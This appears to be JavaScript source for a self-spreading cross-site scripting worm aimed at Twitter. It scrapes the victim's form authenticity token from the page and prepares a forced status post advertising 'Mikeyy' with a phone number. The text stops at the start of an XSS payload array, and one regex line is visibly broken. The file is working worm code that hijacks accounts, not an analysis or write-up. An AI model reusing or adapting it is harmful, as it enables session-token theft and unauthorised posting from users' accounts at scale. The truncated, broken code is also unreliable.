function XHConn() { var xmlhttp, bComplete = false; try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { try { xmlhttp = new XMLHttpRequest(); } catch (e) { xmlhttp = false; } } } if (!xmlhttp) { return null; } this.connect = function (sURL, sMethod, sVars, fnDone) { if (!xmlhttp) { return false; } bComplete = false; sMethod = sMethod.toUpperCase(); try { if (sMethod == "GET") { xmlhttp.open(sMethod, sURL + "?" + sVars, true); sVars = ""; } else { xmlhttp.open(sMethod, sURL, true); xmlhttp.setRequestHeader("Method", "POST " + sURL + " HTTP/1.1"); xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); } xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4 && !bComplete) { bComplete = true; if (fnDone != null) { fnDone(xmlhttp); } } }; xmlhttp.send(sVars); } catch (z) { return false; } return true; }; return this; } function urlencode( str ) { var histogram = {}, tmp_arr = []; var ret = str.toString(); var replacer = function(search, replace, str) { var tmp_arr = []; tmp_arr = str.split(search); return tmp_arr.join(replace); }; histogram["'"] = '%27'; histogram['('] = '%28'; histogram[')'] = '%29'; histogram['*'] = '%2A'; histogram['~'] = '%7E'; histogram['!'] = '%21'; histogram['%20'] = '+'; ret = encodeURIComponent(ret); for (search in histogram) { replace = histogram[search]; ret = replacer(search, replace, ret) } return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) { return "%"+m2.toUpperCase(); }); return ret; } function wait() { var content = document.documentElement.innerHTML; userreg = new RegExp(/"); authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g); var authtoken = authreg.exec(content); authtoken = authtoken[1]; var randomUpdate=new Array(); randomUpdate[0]="Twitter, hire Mikeyy! (718) 312-8131 :)"; var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; var updateEncode = urlencode(genRand); var randomXSS=new Array(); randomXSS[0] = '">